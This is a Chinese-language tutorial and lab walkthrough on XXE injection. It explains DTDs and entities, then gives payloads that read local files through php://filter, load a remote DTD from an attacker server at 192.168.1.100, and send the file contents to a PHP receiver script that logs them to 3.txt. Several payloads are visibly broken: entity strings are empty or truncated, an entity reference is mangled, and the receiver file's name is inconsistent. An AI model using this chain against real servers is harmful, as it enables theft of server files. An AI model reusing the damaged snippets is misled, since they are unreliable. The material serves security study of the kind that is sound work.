XXE即外部实体,从安全角度理解为XML外部实体注入攻击
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
<!DOCTYPE 根元素 [元素声明]>
实例:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
<!DOCTYPE 根元素 SYSTEM "文件名">
或者
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
实例:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
这是包含 DTD 的 “note.dtd” 文件:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。
一个外部实体声明
语法:
<!ENTITY 实体名称 SYSTEM "URI/URL">
DTD 例子:
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
XML 例子:
<author>&writer;©right;</author>
一个内部实体声明
语法:
<!ENTITY 实体名称 "实体的值">
DTD 例子:
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
XML 例子:
<author>&writer;©right;</author>
实体又分为一般实体和参数实体:
一般实体的声明语法:
<!ENTITY 实体名 “实体内容“>
引用实体的方式:&实体名;
** 参数实体只能在DTD中使用,参数实体的声明格式:**
<!ENTITY % 实体名 “实体内容“>
引用实体的方式:%实体名;
一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (。
简单XXE攻击payload:
<?php
$test=']>&test; ';
$obj=simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT);
print_r($obj);
?>
test是一个变量,里面是XML,访问读取了C盘的1.txt然后使用simplexml_load_string将其转换为对象打印出来
功能
把 XML 字符串载入对象中
语法
simplexml_load_string(_data,classname,options,ns,is_prefix_ );
第一个参数是xml语句,SimpleXMLElement是调用了SimpleXMlement这个类,然后LIBXML_NOET是代替实体,然后去调用文件c盘下1.txt。
在实战中后端语言解析了XML是不会输出读取内容的,我们需要一个类似接受平台的接收器,将XML读取的数据发送到接收平台,然后接受平台储存然后我们在接受平台上分析。先使用PHP伪协议读取文件:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/1.txt">
然后去调用 用来XXE的服务器中的一个xml文档文件:
<!ENTITY % remote SYSTEM "http://192.168.1.100/1.xml">
而这个XML写的内容如下:
<!ENTITY % all
"">
%all; //调用实体
1.XML文档会调用2.php文件并向id通过GET方式传入%file 读取的内容
而2.php的内容如下:
<?php file_put_contents("3.txt",$_GET['id'],FILE_APPEND);?>
2.php被调用后会将id传进来的参数即%file的内容写入到3.php中,我们就可以通过访问3.php得到我们想读取的内容;
进入XXE靶场(外部实体注入),我们发现了simplexml_load_string()函数,这里很可能有XXE漏洞,我们看下附件代码:
发现这里通过$poststr接收数据并将数据直接放入到simplexml_load_string()转换为对象,那这里是可以进行XXE的;
我们先构造出XXE的poc代码:
第三行是通过php伪协议去读取被攻击服务器下的flag.php文件内容(base64编码,方便数据传输)
第四行是通过外部实体声明加载攻击者服务器的1.xml文件
第五行调用外部实体remote
第六行调用外部实体send
1.xml文件内容如下:
<!ENTITY % all
""
\>
%all;
调用2.php并传入参数
2.php内容如下:
<?php file_put_contents("3.txt",$_GET['id'],FILE_APPEND);?>
将传参的内容,即读取到的文件写入放到3.txt中,成功读取文件
抓包,通过POST方式上传
访问自己用来接收的服务器,看看3.txt是否收到读取的文件
成功读取到文件,因为之前对其进行base64编码,所以进行base64解码即可得到原来的内容!